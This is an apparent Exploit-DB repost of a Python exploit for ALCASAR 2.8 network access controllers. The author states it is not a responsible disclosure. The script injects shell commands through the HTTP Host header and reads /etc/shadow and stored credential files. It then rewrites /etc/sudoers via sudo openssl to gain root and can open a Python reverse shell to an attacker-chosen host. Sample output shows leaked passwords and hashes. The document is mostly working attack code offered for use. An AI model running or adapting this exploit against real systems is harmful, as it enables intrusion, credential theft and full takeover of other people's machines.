ALCASAR 2.8 – Remote Code Execution

  • 作者: eF
    日期: 2014-09-09
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/34595/
  • #!/usr/bin/env python
    # -*- coding: utf-8 -*-
    #
    ####
    #
    #ALCASAR <= 2.8 Remote Root Code Execution Vulnerability
    #
    #Author: eF
    #Date: 2014-02-10
    #
    #
    #db 88 ,ad8888ba, db ad88888ba db 88888888ba
    # d88b88d8"'`"8b d88b d8" "8b d88b88"8b
    #d8'`8b 88 d8'd8'`8bY8,d8'`8b 88,8P
    # d8'`8b88 88d8'`8b `Y8aaaaa, d8'`8b88aaaaaa8P'
    #d8YaaaaY8b 88 88 d8YaaaaY8b`"""""8b,d8YaaaaY8b 88""""88'
    # d8""""""""8b88 Y8, d8""""""""8b `8b d8""""""""8b88`8b
    #d8'`8b 88Y8a..a8Pd8'`8bY8a a8Pd8'`8b 88 `8b
    # d8'`8b88888888888`"Y8888Y"'d8'`8b"Y88888P"d8'`8b88`8b
    #
    #
    # ALCASAR is a free Network Access Controller which controls the Internet 
    # consultation networks. It authenticates, attributes and protects users'
    # access regardless their connected equipment (PC, Pokédex, game console,
    # etc.).
    #
    #
    # ALCASAR Web UI, accessible by any unauthenticated user, suffers from a 
    # trivial vulnerability. In the "index.php" file:
    #
    # $pattern = preg_replace('/www./','',$_SERVER['HTTP_HOST']);
    # exec("grep -Re ^$pattern$ /etc/dansguardian/lists/blacklists/*/domains|cut -d'/' -f6", $output);
    #
    # By sending a specially crafted value in the "host" HTTP header, it is possible
    # to inject the exec() function in order to execute commands as Apache user.
    # 
    # In addition, the Apache user is able to call sudo for these binaries:
    # 
    # /sbin/ip,/sbin/arping,/sbin/arp,/usr/sbin/arpscan,/usr/sbin/tcpdump,/usr/local/bin/alcasar-watchdog.sh,/usr/local/sbin/alcasar-dhcp.sh
    # /usr/local/bin/alcasar-conf.sh
    # /usr/local/sbin/alcasar-mysql.sh
    # /usr/local/sbin/alcasar-bl.sh,/usr/local/sbin/alcasar-havp.sh,/usr/local/bin/alcasar-file-clean.sh,/usr/local/sbin/alcasar-url_filter.sh
    # /usr/local/sbin/alcasar-nf.sh,/usr/local/bin/alcasar-iptables.sh,/usr/sbin/ipset 
    # /usr/local/bin/alcasar-archive.sh
    # /usr/bin/radwho,/usr/sbin/chilli_query
    # /usr/local/sbin/alcasar-logout.sh
    # /sbin/service,/usr/bin/killall,/sbin/chkconfig,/bin/systemctl
    # /usr/bin/openssl
    # 
    # As a result, we can use /usr/bin/openssl to read a file as root:
    # 
    # sudo /usr/bin/openssl base64 -in /etc/shadow -A | base64 -d
    # 
    # Or to create or overwrite files as root (create a cron job, edit /etc/sudoers, etc.):
    #
    # echo cHduZWQK | sudo /usr/bin/openssl base64 -d -out /etc/cron.d/pwned
    #
    # In this exploit, I choose to modify the "sudoers" file.
    # 
    # Note: this vulnerability has been discovered in less than 30 seconds.
    # Others vulnerabilities are still present. This code has never been audited...
    # The PHP code is dreadful and needs to be rewritten from scratch.
    #
    # Example (post-auth) in file acc/admin/activity.php:
    #
    # if (isset($_POST['action'])){
    # switch ($_POST['action']){
    #case 'user_disconnect' :
    # exec ("sudo /usr/sbin/chilli_query logout $_POST[mac_addr]");
    #
    #
    # This is not a responsible disclosure coz' I have no sense of ethics and I couldn't care less.
    #
    #
    # % python alcasar-2.8_rce.py alcasar.localdomain "alcasar-version.sh"
    #
    # [+] Hello, first here are some passwords for you:
    # Password to protect the boot menu (GRUB) : cV9eEz1g
    # Name and password of Mysql/mariadb administrator : root / FvYPr7b3
    # Name and password of Mysql/mariadb user : radius / oRNln64j
    # Shared secret between the script 'intercept.php' and coova-chilli : b9Rj34jz
    # Shared secret between coova-chilli and FreeRadius : 7tIrnkJu
    #
    # root:$2a$08$Aw4yIxQIUJ0taDjiXKSRYu6zZB5eUcbZ4445vo1157AdeGSfe1XuC:16319:0:99999:7:::
    #
    # [...]
    #
    # admin:alcasar.localdomain:49b8642b4646a4afa38cda065f76ce0e
    #
    # usernamevalue
    # user$1$passwd$qr0Ajhr12fZ475a2qAZ.H.
    #
    # [-] whoami (should be apache):
    # uid=495(apache) gid=492(apache) groups=492(apache)
    #
    # [+] On the way to the uid 0...
    # [-] Got root?
    # uid=0(root) gid=0(root) groups=0(root)
    #
    # [+] Your command Sir:
    # The Running version (2.8) is up to date
    #
    #
    ####
    
    import sys, os, re, httplib
    
    class PWN_Alcasar:
    
    def __init__(self, host):
    self.host = host
    self.root = False
    
    def exec_cmd(self, cmd, output=False):
    tag = os.urandom(4).encode('hex')
    
    cmd = 'bash -c "%s" 2>&1' % cmd.replace('"', '\\"')
    if self.root:
    cmd = 'sudo %s' % cmd
    
    headers = {
    'host' : 'aAaAa index.php;echo %s;echo %s|base64 -d -w0|sh|base64 -w0;#' % (tag, cmd.encode('base64').replace('\n',''))
    }
    
    c = httplib.HTTPConnection(self.host)
    c.request('GET', '/index.php', '', headers)
    r = c.getresponse()
    data = r.read()
    c.close()
    
    if data.find(tag) != -1:
    m = re.search(r'%s, (.*)\s</div>' % tag, data)
    if m:
    data = m.group(1).decode('base64')
    if output:
    print data
    return data
    return None
    
    def read_file(self, filepath, output=True):
    return self.exec_cmd('sudo openssl base64 -in %s -A|base64 -d' % filepath, output=output)
    
    def read_passwords(self):
    self.read_file('/root/ALCASAR-passwords.txt')
    self.read_file('/etc/shadow')
    self.read_file('/usr/local/etc/digest/key_all')
    self.read_file('/usr/local/etc/digest/key_admin')
    self.read_file('/usr/local/etc/digest/key_backup')
    self.read_file('/usr/local/etc/digest/key_manager')
    self.read_file('/usr/local/etc/digest/key_only_admin')
    self.read_file('/usr/local/etc/digest/key_only_backup')
    self.read_file('/usr/local/etc/digest/key_only_manager')
    alcasar_mysql = self.read_file('/usr/local/sbin/alcasar-mysql.sh', output=False)
    if alcasar_mysql:
    m = re.search(r'radiuspwd="(.*)"', alcasar_mysql)
    if m:
    radiuspwd = m.group(1)
    sql = 'SELECT username,value FROM radcheck WHERE attribute like \'%%password%%\''
    self.exec_cmd('mysql -uradius -p\"%s\" radius -e "%s"' % (radiuspwd, sql), output=True)
    
    def edit_sudoers(self):
    self.exec_cmd('sudo openssl base64 -in /etc/sudoers -out /tmp/sudoers.b64')
    self.exec_cmd('openssl base64 -d -in /tmp/sudoers.b64 -out /tmp/sudoers')
    self.exec_cmd('sed -i s/BL,NF/BL,ALL,NF/g /tmp/sudoers')
    self.exec_cmd('sudo openssl base64 -in /tmp/sudoers -out /tmp/sudoers.b64')
    self.exec_cmd('sudo openssl base64 -d -in /tmp/sudoers.b64 -out /etc/sudoers')
    self.exec_cmd('sudo rm -f /tmp/sudoers*')
    self.root = True
    
    def reverse_shell(self, rip, rport='80'):
    payload = 'import socket,subprocess,os;'
    payload += 's=socket.socket(socket.AF_INET,socket.SOCK_STREAM);'
    payload += 's.connect((\'%s\',%s));' % (rip, rport)
    payload += 'os.dup2(s.fileno(),0);'
    payload += 'os.dup2(s.fileno(),1);'
    payload += 'os.dup2(s.fileno(),2);'
    payload += 'p=subprocess.call([\'/bin/sh\',\'-i\']);'
    return self.exec_cmd('python -c "%s"' % payload)
    
    def usage():
    print 'Usage: %s host command (ip) (port)' % sys.argv[0]
    print ' "command" can be a shell command or "reverseshell"'
    sys.exit(0)
     
    if __name__ == '__main__':
    
    if len(sys.argv) < 3:
    usage()
     
    cmd = sys.argv[2]
    if cmd == 'reverseshell':
    if len(sys.argv) < 5:
    print '[!] Need IP and port for the reverse shell...'
    sys.exit(0)
    rip = sys.argv[3]
    rport = sys.argv[4] # 80 is a good one...
    
    exploit = PWN_Alcasar(sys.argv[1])
    print '[+] Hello, first here are some passwords for you:'
    exploit.read_passwords()
    print '[-] whoami (should be apache):'
    exploit.exec_cmd('id', output=True)
    print '[+] On the way to the uid 0...'
    exploit.edit_sudoers()
    print '[-] Got root?'
    exploit.exec_cmd('id', output=True)
    if cmd == 'reverseshell':
    print '[+] You should now have a shell on %s:%s' % (rip, rport)
    exploit.reverse_shell(rip, rport)
    else:
    print '[+] Your command Sir:'
    exploit.exec_cmd(cmd, output=True)
    sys.exit(1)